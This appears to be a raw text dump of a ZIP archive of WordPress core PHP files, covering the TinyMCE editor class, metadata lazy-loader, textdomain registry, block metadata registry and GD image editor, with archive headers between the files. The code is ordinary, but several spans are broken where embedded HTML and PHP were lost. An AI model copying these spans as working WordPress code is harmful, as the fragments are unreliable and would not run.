URL or type to search' => __( 'Paste URL or type to search' ), // Placeholder for the inline link dialog. 'Apply' => __( 'Apply' ), // Tooltip for the 'apply' button in the inline link dialog. 'Link options' => __( 'Link options' ), // Tooltip for the 'link options' button in the inline link dialog. 'Visual' => _x( 'Visual', 'Name for the Visual editor tab' ), // Editor switch tab label. 'Code|tab' => _x( 'Code', 'Name for the Code editor tab (formerly Text)' ), // Editor switch tab label. 'Add Media' => array( __( 'Add Media' ), 'accessM' ), // Tooltip for the 'Add Media' button in the block editor Classic block. // Shortcuts help modal. 'Keyboard Shortcuts' => array( __( 'Keyboard Shortcuts' ), 'accessH' ), 'Classic Block Keyboard Shortcuts' => __( 'Classic Block Keyboard Shortcuts' ), 'Default shortcuts,' => __( 'Default shortcuts,' ), 'Additional shortcuts,' => __( 'Additional shortcuts,' ), 'Focus shortcuts:' => __( 'Focus shortcuts:' ), 'Inline toolbar (when an image, link or preview is selected)' => __( 'Inline toolbar (when an image, link or preview is selected)' ), 'Editor menu (when enabled)' => __( 'Editor menu (when enabled)' ), 'Editor toolbar' => __( 'Editor toolbar' ), 'Elements path' => __( 'Elements path' ), 'Ctrl + Alt + letter:' => __( 'Ctrl + Alt + letter:' ), 'Shift + Alt + letter:' => __( 'Shift + Alt + letter:' ), 'Cmd + letter:' => __( 'Cmd + letter:' ), 'Ctrl + letter:' => __( 'Ctrl + letter:' ), 'Letter' => __( 'Letter' ), 'Action' => __( 'Action' ), 'Warning: the link has been inserted but may have errors. Please test it.' => __( 'Warning: the link has been inserted but may have errors. Please test it.' ), 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' => __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ), 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' => __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ), 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' => __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ), 'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' => __( 'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' ), ); } /* Imagetools plugin (not included): 'Edit image' => __( 'Edit image' ), 'Image options' => __( 'Image options' ), 'Back' => __( 'Back' ), 'Invert' => __( 'Invert' ), 'Flip horizontally' => __( 'Flip horizontal' ), 'Flip vertically' => __( 'Flip vertical' ), 'Crop' => __( 'Crop' ), 'Orientation' => __( 'Orientation' ), 'Resize' => __( 'Resize' ), 'Rotate clockwise' => __( 'Rotate right' ), 'Rotate counterclockwise' => __( 'Rotate left' ), 'Sharpen' => __( 'Sharpen' ), 'Brightness' => __( 'Brightness' ), 'Color levels' => __( 'Color levels' ), 'Contrast' => __( 'Contrast' ), 'Gamma' => __( 'Gamma' ), 'Zoom in' => __( 'Zoom in' ), 'Zoom out' => __( 'Zoom out' ), */ return self::$translation; } /** * Translates the default TinyMCE strings and returns them as JSON encoded object ready to be loaded with tinymce.addI18n(), * or as JS snippet that should run after tinymce.js is loaded. * * @since 3.9.0 * * @param string $mce_locale The locale used for the editor. * @param bool $json_only Optional. Whether to include the JavaScript calls to tinymce.addI18n() and * tinymce.ScriptLoader.markDone(). Default false. * @return string Translation object, JSON encoded. */ public static function wp_mce_translation( $mce_locale = '', $json_only = false ) { if ( ! $mce_locale ) { $mce_locale = self::get_mce_locale(); } $mce_translation = self::get_translation(); foreach ( $mce_translation as $name => $value ) { if ( is_array( $value ) ) { $mce_translation[ $name ] = $value[0]; } } /** * Filters translated strings prepared for TinyMCE. * * @since 3.9.0 * * @param array $mce_translation Key/value pairs of strings. * @param string $mce_locale Locale. */ $mce_translation = apply_filters( 'wp_mce_translation', $mce_translation, $mce_locale ); foreach ( $mce_translation as $key => $value ) { // Remove strings that are not translated. if ( $key === $value ) { unset( $mce_translation[ $key ] ); continue; } if ( str_contains( $value, '&' ) ) { $mce_translation[ $key ] = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' ); } } // Set direction. if ( is_rtl() ) { $mce_translation['_dir'] = 'rtl'; } if ( $json_only ) { return wp_json_encode( $mce_translation ); } $baseurl = self::get_baseurl(); return "tinymce.addI18n( '$mce_locale', " . wp_json_encode( $mce_translation ) . ");\n" . "tinymce.ScriptLoader.markDone( '$baseurl/langs/$mce_locale.js' );\n"; } /** * Force uncompressed TinyMCE when a custom theme has been defined. * * The compressed TinyMCE file cannot deal with custom themes, so this makes * sure that WordPress uses the uncompressed TinyMCE file if a theme is defined. * Even if the website is running on a production environment. * * @since 5.0.0 */ public static function force_uncompressed_tinymce() { $has_custom_theme = false; foreach ( self::$mce_settings as $init ) { if ( ! empty( $init['theme_url'] ) ) { $has_custom_theme = true; break; } } if ( ! $has_custom_theme ) { return; } $wp_scripts = wp_scripts(); $wp_scripts->remove( 'wp-tinymce' ); wp_register_tinymce_scripts( $wp_scripts, true ); } /** * Print (output) the main TinyMCE scripts. * * @since 4.8.0 * * @global bool $concatenate_scripts */ public static function print_tinymce_scripts() { global $concatenate_scripts; if ( self::$tinymce_scripts_printed ) { return; } self::$tinymce_scripts_printed = true; if ( ! isset( $concatenate_scripts ) ) { script_concat_settings(); } wp_print_scripts( array( 'wp-tinymce' ) ); echo "\n"; } /** * Print (output) the TinyMCE configuration and initialization scripts. * * @since 3.3.0 * * @global string $tinymce_version */ public static function editor_js() { global $tinymce_version; $tmce_on = ! empty( self::$mce_settings ); $mce_init = ''; $qt_init = ''; if ( $tmce_on ) { foreach ( self::$mce_settings as $editor_id => $init ) { $options = self::_parse_init( $init ); $mce_init .= "'$editor_id':{$options},"; } $mce_init = '{' . trim( $mce_init, ',' ) . '}'; } else { $mce_init = '{}'; } if ( ! empty( self::$qt_settings ) ) { foreach ( self::$qt_settings as $editor_id => $init ) { $options = self::_parse_init( $init ); $qt_init .= "'$editor_id':{$options},"; } $qt_init = '{' . trim( $qt_init, ',' ) . '}'; } else { $qt_init = '{}'; } $ref = array( 'plugins' => implode( ',', self::$plugins ), 'theme' => 'modern', 'language' => self::$mce_locale, ); $suffix = SCRIPT_DEBUG ? '' : '.min'; $baseurl = self::get_baseurl(); $version = 'ver=' . $tinymce_version; /** * Fires immediately before the TinyMCE settings are printed. * * @since 3.2.0 * * @param array $mce_settings TinyMCE settings array. */ do_action( 'before_wp_tiny_mce', self::$mce_settings ); ?> \n"; } } /** * Fires after tinymce.js is loaded, but before any TinyMCE editor * instances are created. * * @since 3.9.0 * * @param array $mce_settings TinyMCE settings array. */ do_action( 'wp_tiny_mce_init', self::$mce_settings ); ?> true ), 'objects' ); $pt_names = array_keys( $pts ); $query = array( 'post_type' => $pt_names, 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'post_status' => 'publish', 'posts_per_page' => 20, ); $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1; if ( isset( $args['s'] ) ) { $query['s'] = $args['s']; } $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0; /** * Filters the link query arguments. * * Allows modification of the link query arguments before querying. * * @see WP_Query for a full list of arguments * * @since 3.7.0 * * @param array $query An array of WP_Query arguments. */ $query = apply_filters( 'wp_link_query_args', $query ); // Do main query. $get_posts = new WP_Query(); $posts = $get_posts->query( $query ); // Build results. $results = array(); foreach ( $posts as $post ) { if ( 'post' === $post->post_type ) { $info = mysql2date( __( 'Y/m/d' ), $post->post_date ); } else { $info = $pts[ $post->post_type ]->labels->singular_name; } $results[] = array( 'ID' => $post->ID, 'title' => trim( esc_html( strip_tags( get_the_title( $post ) ) ) ), 'permalink' => get_permalink( $post->ID ), 'info' => $info, ); } /** * Filters the link query results. * * Allows modification of the returned link query results. * * @since 3.7.0 * * @see 'wp_link_query_args' filter * * @param array $results { * An array of associative arrays of query results. * * @type array ...$0 { * @type int $ID Post ID. * @type string $title The trimmed, escaped post title. * @type string $permalink Post permalink. * @type string $info A 'Y/m/d'-formatted date for 'post' post type, * the 'singular_name' post type label otherwise. * } * } * @param array $query An array of WP_Query arguments. */ $results = apply_filters( 'wp_link_query', $results, $query ); return ! empty( $results ) ? $results : false; } /** * Dialog for internal linking. * * @since 3.1.0 */ public static function wp_link_dialog() { // Run once. if ( self::$link_dialog_printed ) { return; } self::$link_dialog_printed = true; // `display: none` is required here, see #WP27605. ?> settings = array( 'term' => array( 'filter' => 'get_term_metadata', 'callback' => array( $this, 'lazyload_meta_callback' ), ), 'comment' => array( 'filter' => 'get_comment_metadata', 'callback' => array( $this, 'lazyload_meta_callback' ), ), 'blog' => array( 'filter' => 'get_blog_metadata', 'callback' => array( $this, 'lazyload_meta_callback' ), ), ); } /** * Adds objects to the metadata lazy-load queue. * * @since 4.5.0 * * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'. * @param array $object_ids Array of object IDs. * @return void|WP_Error WP_Error on failure. */ public function queue_objects( $object_type, $object_ids ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; if ( ! isset( $this->pending_objects[ $object_type ] ) ) { $this->pending_objects[ $object_type ] = array(); } foreach ( $object_ids as $object_id ) { // Keyed by ID for faster lookup. if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) { $this->pending_objects[ $object_type ][ $object_id ] = 1; } } add_filter( $type_settings['filter'], $type_settings['callback'], 10, 5 ); /** * Fires after objects are added to the metadata lazy-load queue. * * @since 4.5.0 * * @param array $object_ids Array of object IDs. * @param string $object_type Type of object being queued. * @param WP_Metadata_Lazyloader $lazyloader The lazy-loader object. */ do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this ); } /** * Resets lazy-load queue for a given object type. * * @since 4.5.0 * * @param string $object_type Object type. Accepts 'comment' or 'term'. * @return void|WP_Error WP_Error on failure. */ public function reset_queue( $object_type ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; $this->pending_objects[ $object_type ] = array(); remove_filter( $type_settings['filter'], $type_settings['callback'] ); } /** * Lazy-loads term meta for queued terms. * * This method is public so that it can be used as a filter callback. As a rule, there * is no need to invoke it directly. * * @since 4.5.0 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead. * * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook. * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be * another value if filtered by a plugin. */ public function lazyload_term_meta( $check ) { _deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' ); return $this->lazyload_meta_callback( $check, 0, '', false, 'term' ); } /** * Lazy-loads comment meta for queued comments. * * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it * directly, from either inside or outside the `WP_Query` object. * * @since 4.5.0 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead. * * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook. * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`. */ public function lazyload_comment_meta( $check ) { _deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' ); return $this->lazyload_meta_callback( $check, 0, '', false, 'comment' ); } /** * Lazy-loads meta for queued objects. * * This method is public so that it can be used as a filter callback. As a rule, there * is no need to invoke it directly. * * @since 6.3.0 * * @param mixed $check The `$check` param passed from the 'get_*_metadata' hook. * @param int $object_id ID of the object metadata is for. * @param string $meta_key Unused. * @param bool $single Unused. * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user', * or any other object type with an associated meta table. * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be * another value if filtered by a plugin. */ public function lazyload_meta_callback( $check, $object_id, $meta_key, $single, $meta_type ) { if ( empty( $this->pending_objects[ $meta_type ] ) ) { return $check; } $object_ids = array_keys( $this->pending_objects[ $meta_type ] ); if ( $object_id && ! in_array( $object_id, $object_ids, true ) ) { $object_ids[] = $object_id; } update_meta_cache( $meta_type, $object_ids ); // No need to run again for this set of objects. $this->reset_queue( $meta_type ); return $check; } } PK!É]”ñ(ñ( class-wp-textdomain-registry.phpnuȯÝíall[ $domain ][ $locale ] ?? $this->get_path_from_lang_dir( $domain, $locale ); /** * Filters the determined languages directory path for a specific domain and locale. * * @since 6.6.0 * * @param string|false $path Languages directory path for the given domain and locale. * @param string $domain Text domain. * @param string $locale Locale. */ return apply_filters( 'lang_dir_for_domain', $path, $domain, $locale ); } /** * Determines whether any MO file paths are available for the domain. * * This is the case if a path has been set for the current locale, * or if there is no information stored yet, in which case * {@see _load_textdomain_just_in_time()} will fetch the information first. * * @since 6.1.0 * * @param string $domain Text domain. * @return bool Whether any MO file paths are available for the domain. */ public function has( $domain ) { return ( isset( $this->current[ $domain ] ) || empty( $this->all[ $domain ] ) || in_array( $domain, $this->domains_with_translations, true ) ); } /** * Sets the language directory path for a specific domain and locale. * * Also sets the 'current' property for direct access * to the path for the current (most recent) locale. * * @since 6.1.0 * * @param string $domain Text domain. * @param string $locale Locale. * @param string|false $path Language directory path or false if there is none available. */ public function set( $domain, $locale, $path ) { $this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false; $this->current[ $domain ] = $this->all[ $domain ][ $locale ]; } /** * Sets the custom path to the plugin's/theme's languages directory. * * Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}. * * @since 6.1.0 * * @param string $domain Text domain. * @param string $path Language directory path. */ public function set_custom_path( $domain, $path ) { // If just-in-time loading was triggered before, reset the entry so it can be tried again. if ( isset( $this->all[ $domain ] ) ) { $this->all[ $domain ] = array_filter( $this->all[ $domain ] ); } if ( empty( $this->current[ $domain ] ) ) { unset( $this->current[ $domain ] ); } $this->custom_paths[ $domain ] = rtrim( $path, '/' ); } /** * Retrieves translation files from the specified path. * * Allows early retrieval through the {@see 'pre_get_mo_files_from_path'} filter to optimize * performance, especially in directories with many files. * * @since 6.5.0 * * @param string $path The directory path to search for translation files. * @return array Array of translation file paths. Can contain .mo and .l10n.php files. */ public function get_language_files_from_path( $path ) { $path = rtrim( $path, '/' ) . '/'; /** * Filters the translation files retrieved from a specified path before the actual lookup. * * Returning a non-null value from the filter will effectively short-circuit * the MO files lookup, returning that value instead. * * This can be useful in situations where the directory contains a large number of files * and the default glob() function becomes expensive in terms of performance. * * @since 6.5.0 * * @param null|array $files List of translation files. Default null. * @param string $path The path from which translation files are being fetched. */ $files = apply_filters( 'pre_get_language_files_from_path', null, $path ); if ( null !== $files ) { return $files; } $cache_key = md5( $path ); $files = wp_cache_get( $cache_key, 'translation_files' ); if ( false === $files ) { $files = glob( $path . '*.mo' ); if ( false === $files ) { $files = array(); } $php_files = glob( $path . '*.l10n.php' ); if ( is_array( $php_files ) ) { $files = array_merge( $files, $php_files ); } wp_cache_set( $cache_key, $files, 'translation_files', HOUR_IN_SECONDS ); } return $files; } /** * Invalidate the cache for .mo files. * * This function deletes the cache entries related to .mo files when triggered * by specific actions, such as the completion of an upgrade process. * * @since 6.5.0 * * @param WP_Upgrader $upgrader Unused. WP_Upgrader instance. In other contexts this might be a * Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance. * @param array $hook_extra { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $plugins Array of the basename paths of the plugins' main files. * @type array $themes The theme slugs. * @type array $translations { * Array of translations update data. * * @type string $language The locale the translation is for. * @type string $type Type of translation. Accepts 'plugin', 'theme', or 'core'. * @type string $slug Text domain the translation is for. The slug of a theme/plugin or * 'default' for core translations. * @type string $version The version of a theme, plugin, or core. * } * } */ public function invalidate_mo_files_cache( $upgrader, $hook_extra ) { if ( ! isset( $hook_extra['type'] ) || 'translation' !== $hook_extra['type'] || array() === $hook_extra['translations'] ) { return; } $translation_types = array_unique( wp_list_pluck( $hook_extra['translations'], 'type' ) ); foreach ( $translation_types as $type ) { switch ( $type ) { case 'plugin': wp_cache_delete( md5( WP_LANG_DIR . '/plugins/' ), 'translation_files' ); break; case 'theme': wp_cache_delete( md5( WP_LANG_DIR . '/themes/' ), 'translation_files' ); break; default: wp_cache_delete( md5( WP_LANG_DIR . '/' ), 'translation_files' ); break; } } } /** * Returns possible language directory paths for a given text domain. * * @since 6.2.0 * * @param string $domain Text domain. * @return string[] Array of language directory paths. */ private function get_paths_for_domain( $domain ) { $locations = array( WP_LANG_DIR . '/plugins', WP_LANG_DIR . '/themes', ); if ( isset( $this->custom_paths[ $domain ] ) ) { $locations[] = $this->custom_paths[ $domain ]; } return $locations; } /** * Gets the path to the language directory for the current domain and locale. * * Checks the plugins and themes language directories as well as any * custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}. * * @since 6.1.0 * * @see _get_path_to_translation_from_lang_dir() * * @param string $domain Text domain. * @param string $locale Locale. * @return string|false Language directory path or false if there is none available. */ private function get_path_from_lang_dir( $domain, $locale ) { $locations = $this->get_paths_for_domain( $domain ); $found_location = false; foreach ( $locations as $location ) { $files = $this->get_language_files_from_path( $location ); $mo_path = "$location/$domain-$locale.mo"; $php_path = "$location/$domain-$locale.l10n.php"; foreach ( $files as $file_path ) { if ( ! in_array( $domain, $this->domains_with_translations, true ) && str_starts_with( str_replace( "$location/", '', $file_path ), "$domain-" ) ) { $this->domains_with_translations[] = $domain; } if ( $file_path === $mo_path || $file_path === $php_path ) { $found_location = rtrim( $location, '/' ) . '/'; break 2; } } } if ( $found_location ) { $this->set( $domain, $locale, $found_location ); return $found_location; } /* * If no path is found for the given locale and a custom path has been set * using load_plugin_textdomain/load_theme_textdomain, use that one. */ if ( isset( $this->custom_paths[ $domain ] ) ) { $fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/'; $this->set( $domain, $locale, $fallback_location ); return $fallback_location; } $this->set( $domain, $locale, false ); return false; } } PK!–g›w.w.$class-wp-block-metadata-registry.phpnuȯÝí> */ private static $collections = array(); /** * Caches the last matched collection path for performance optimization. * * @since 6.7.0 * @var string|null */ private static $last_matched_collection = null; /** * Stores the default allowed collection root paths. * * @since 6.7.2 * @var string[]|null */ private static $default_collection_roots = null; /** * Registers a block metadata collection. * * This method allows registering a collection of block metadata from a single * manifest file, improving performance for large sets of blocks. * * The manifest file should be a PHP file that returns an associative array, where * the keys are the block identifiers (without their namespace) and the values are * the corresponding block metadata arrays. The block identifiers must match the * parent directory name for the respective `block.json` file. * * Example manifest file structure: * ``` * return array( * 'example-block' => array( * 'title' => 'Example Block', * 'category' => 'widgets', * 'icon' => 'smiley', * // ... other block metadata * ), * 'another-block' => array( * 'title' => 'Another Block', * 'category' => 'formatting', * 'icon' => 'star-filled', * // ... other block metadata * ), * // ... more block metadata entries * ); * ``` * * @since 6.7.0 * * @param string $path The absolute base path for the collection ( e.g., WP_PLUGIN_DIR . '/my-plugin/blocks/' ). * @param string $manifest The absolute path to the manifest file containing the metadata collection. * @return bool True if the collection was registered successfully, false otherwise. */ public static function register_collection( $path, $manifest ) { $path = rtrim( wp_normalize_path( $path ), '/' ); $collection_roots = self::get_default_collection_roots(); /** * Filters the root directory paths for block metadata collections. * * Any block metadata collection that is registered must not use any of these paths, or any parent directory * path of them. Most commonly, block metadata collections should reside within one of these paths, though in * some scenarios they may also reside in entirely different directories (e.g. in case of symlinked plugins). * * Example: * * It is allowed to register a collection with path `WP_PLUGIN_DIR . '/my-plugin'`. * * It is not allowed to register a collection with path `WP_PLUGIN_DIR`. * * It is not allowed to register a collection with path `dirname( WP_PLUGIN_DIR )`. * * The default list encompasses the `wp-includes` directory, as well as the root directories for plugins, * must-use plugins, and themes. This filter can be used to expand the list, e.g. to custom directories that * contain symlinked plugins, so that these root directories cannot be used themselves for a block metadata * collection either. * * @since 6.7.2 * * @param string[] $collection_roots List of allowed metadata collection root paths. */ $collection_roots = apply_filters( 'wp_allowed_block_metadata_collection_roots', $collection_roots ); $collection_roots = array_unique( array_map( static function ( $allowed_root ) { return rtrim( wp_normalize_path( $allowed_root ), '/' ); }, $collection_roots ) ); // Check if the path is valid: if ( ! self::is_valid_collection_path( $path, $collection_roots ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: list of allowed collection roots */ __( 'Block metadata collections cannot be registered as one of the following directories or their parent directories: %s' ), esc_html( implode( wp_get_list_item_separator(), $collection_roots ) ) ), '6.7.2' ); return false; } if ( ! file_exists( $manifest ) ) { _doing_it_wrong( __METHOD__, __( 'The specified manifest file does not exist.' ), '6.7.0' ); return false; } self::$collections[ $path ] = array( 'manifest' => $manifest, 'metadata' => null, ); return true; } /** * Retrieves block metadata for a given block within a specific collection. * * This method uses the registered collections to efficiently lookup * block metadata without reading individual `block.json` files. * * @since 6.7.0 * * @param string $file_or_folder The path to the file or folder containing the block. * @return array|null The block metadata for the block, or null if not found. */ public static function get_metadata( $file_or_folder ) { $file_or_folder = wp_normalize_path( $file_or_folder ); $path = self::find_collection_path( $file_or_folder ); if ( ! $path ) { return null; } $collection = &self::$collections[ $path ]; if ( null === $collection['metadata'] ) { // Load the manifest file if not already loaded $collection['metadata'] = require $collection['manifest']; } // Get the block name from the path. $block_name = self::default_identifier_callback( $file_or_folder ); return isset( $collection['metadata'][ $block_name ] ) ? $collection['metadata'][ $block_name ] : null; } /** * Gets the list of absolute paths to all block metadata files that are part of the given collection. * * For instance, if a block metadata collection is registered with path `WP_PLUGIN_DIR . '/my-plugin/blocks/'`, * and the manifest file includes metadata for two blocks `'block-a'` and `'block-b'`, the result of this method * will be an array containing: * * `WP_PLUGIN_DIR . '/my-plugin/blocks/block-a/block.json'` * * `WP_PLUGIN_DIR . '/my-plugin/blocks/block-b/block.json'` * * @since 6.8.0 * * @param string $path The absolute base path for a previously registered collection. * @return string[] List of block metadata file paths, or an empty array if the given `$path` is invalid. */ public static function get_collection_block_metadata_files( $path ) { $path = rtrim( wp_normalize_path( $path ), '/' ); if ( ! isset( self::$collections[ $path ] ) ) { _doing_it_wrong( __METHOD__, __( 'No registered block metadata collection was found for the provided path.' ), '6.8.0' ); return array(); } $collection = &self::$collections[ $path ]; if ( null === $collection['metadata'] ) { // Load the manifest file if not already loaded. $collection['metadata'] = require $collection['manifest']; } return array_map( // No normalization necessary since `$path` is already normalized and `$block_name` is just a folder name. static function ( $block_name ) use ( $path ) { return "{$path}/{$block_name}/block.json"; }, array_keys( $collection['metadata'] ) ); } /** * Finds the collection path for a given file or folder. * * @since 6.7.0 * * @param string $file_or_folder The normalized path to the file or folder. * @return string|null The normalized collection path if found, or null if not found. */ private static function find_collection_path( $file_or_folder ) { if ( empty( $file_or_folder ) ) { return null; } // Check the last matched collection first, since block registration usually happens in batches per plugin or theme. $path = rtrim( $file_or_folder, '/' ); if ( self::$last_matched_collection && str_starts_with( $path, self::$last_matched_collection ) ) { return self::$last_matched_collection; } $collection_paths = array_keys( self::$collections ); foreach ( $collection_paths as $collection_path ) { if ( str_starts_with( $path, $collection_path ) ) { self::$last_matched_collection = $collection_path; return $collection_path; } } return null; } /** * Checks if metadata exists for a given block name in a specific collection. * * @since 6.7.0 * * @param string $file_or_folder The path to the file or folder containing the block metadata. * @return bool True if metadata exists for the block, false otherwise. */ public static function has_metadata( $file_or_folder ) { return null !== self::get_metadata( $file_or_folder ); } /** * Default identifier function to determine the block identifier from a given path. * * This function extracts the block identifier from the path: * - For 'block.json' files, it uses the parent directory name. * - For directories, it uses the directory name itself. * - For empty paths, it returns an empty string. * * For example: * - Path: '/wp-content/plugins/my-plugin/blocks/example/block.json' * Identifier: 'example' * - Path: '/wp-content/plugins/my-plugin/blocks/another-block' * Identifier: 'another-block' * * This default behavior matches the standard WordPress block structure. * * @since 6.7.0 * * @param string $path The normalized file or folder path to determine the block identifier from. * @return string The block identifier, or an empty string if the path is empty. */ private static function default_identifier_callback( $path ) { // Ensure $path is not empty to prevent unexpected behavior. if ( empty( $path ) ) { return ''; } if ( str_ends_with( $path, 'block.json' ) ) { // Return the parent directory name if it's a block.json file. return basename( dirname( $path ) ); } // Otherwise, assume it's a directory and return its name. return basename( $path ); } /** * Checks whether the given block metadata collection path is valid against the list of collection roots. * * @since 6.7.2 * * @param string $path Normalized block metadata collection path, without trailing slash. * @param string[] $collection_roots List of normalized collection root paths, without trailing slashes. * @return bool True if the path is allowed, false otherwise. */ private static function is_valid_collection_path( $path, $collection_roots ) { foreach ( $collection_roots as $allowed_root ) { // If the path matches any root exactly, it is invalid. if ( $allowed_root === $path ) { return false; } // If the path is a parent path of any of the roots, it is invalid. if ( str_starts_with( $allowed_root, $path ) ) { return false; } } return true; } /** * Gets the default collection root directory paths. * * @since 6.7.2 * * @return string[] List of directory paths within which metadata collections are allowed. */ private static function get_default_collection_roots() { if ( isset( self::$default_collection_roots ) ) { return self::$default_collection_roots; } $collection_roots = array( wp_normalize_path( ABSPATH . WPINC ), wp_normalize_path( WP_CONTENT_DIR ), wp_normalize_path( WPMU_PLUGIN_DIR ), wp_normalize_path( WP_PLUGIN_DIR ), ); $theme_roots = get_theme_roots(); if ( ! is_array( $theme_roots ) ) { $theme_roots = array( $theme_roots ); } foreach ( $theme_roots as $theme_root ) { $collection_roots[] = trailingslashit( wp_normalize_path( WP_CONTENT_DIR ) ) . ltrim( wp_normalize_path( $theme_root ), '/' ); } self::$default_collection_roots = array_unique( $collection_roots ); return self::$default_collection_roots; } } PK!‹¿áPáPclass-wp-image-editor-gd.phpnuȯÝíimage ) { if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. // We don't need the original in memory anymore. imagedestroy( $this->image ); } } } /** * Checks to see if current environment supports GD. * * @since 3.5.0 * * @param array $args * @return bool */ public static function test( $args = array() ) { if ( ! extension_loaded( 'gd' ) || ! function_exists( 'gd_info' ) ) { return false; } // On some setups GD library does not provide imagerotate() - Ticket #11536. if ( isset( $args['methods'] ) && in_array( 'rotate', $args['methods'], true ) && ! function_exists( 'imagerotate' ) ) { return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { $image_types = imagetypes(); switch ( $mime_type ) { case 'image/jpeg': return ( $image_types & IMG_JPG ) !== 0; case 'image/png': return ( $image_types & IMG_PNG ) !== 0; case 'image/gif': return ( $image_types & IMG_GIF ) !== 0; case 'image/webp': return ( $image_types & IMG_WEBP ) !== 0; case 'image/avif': return ( $image_types & IMG_AVIF ) !== 0 && function_exists( 'imageavif' ); } return false; } /** * Loads image from $this->file into new GD Resource. * * @since 3.5.0 * * @return true|WP_Error True if loaded successfully; WP_Error on failure. */ public function load() { if ( $this->image ) { return true; } if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) { return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file ); } // Set artificially high because GD uses uncompressed images in memory. wp_raise_memory_limit( 'image' ); $file_contents = @file_get_contents( $this->file ); if ( ! $file_contents ) { return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file ); } // Handle WebP and AVIF mime types explicitly, falling back to imagecreatefromstring. if ( function_exists( 'imagecreatefromwebp' ) && ( 'image/webp' === wp_get_image_mime( $this->file ) ) ) { $this->image = @imagecreatefromwebp( $this->file ); } elseif ( function_exists( 'imagecreatefromavif' ) && ( 'image/avif' === wp_get_image_mime( $this->file ) ) ) { $this->image = @imagecreatefromavif( $this->file ); } else { $this->image = @imagecreatefromstring( $file_contents ); } if ( ! is_gd_image( $this->image ) ) { return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file ); } $size = wp_getimagesize( $this->file ); if ( ! $size ) { return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file ); } if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) { imagealphablending( $this->image, false ); imagesavealpha( $this->image, true ); } $this->update_size( $size[0], $size[1] ); $this->mime_type = $size['mime']; return $this->set_quality(); } /** * Sets or updates current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true */ protected function update_size( $width = false, $height = false ) { if ( ! $width ) { $width = imagesx( $this->image ); } if ( ! $height ) { $height = imagesy( $this->image ); } return parent::update_size( $width, $height ); } /** * Resizes current image. * * Wraps `::_resize()` which returns a GD resource or GdImage instance. * * At minimum, either a height or width must be provided. If one of the two is set * to null, the resize will maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool|array $crop { * Optional. Image cropping behavior. If false, the image will be scaled (default). * If true, image will be cropped to the specified dimensions using center positions. * If an array, the image will be cropped using the array to specify the crop location: * * @type string $0 The x crop position. Accepts 'left', 'center', or 'right'. * @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'. * } * @return true|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] === $max_w ) && ( $this->size['height'] === $max_h ) ) { return true; } $resized = $this->_resize( $max_w, $max_h, $crop ); if ( is_gd_image( $resized ) ) { if ( PHP_VERSION_ID < 80000 ) { // imagedestroy() has no effect as of PHP 8.0. imagedestroy( $this->image ); } $this->image = $resized; return true; } elseif ( is_wp_error( $resized ) ) { return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize 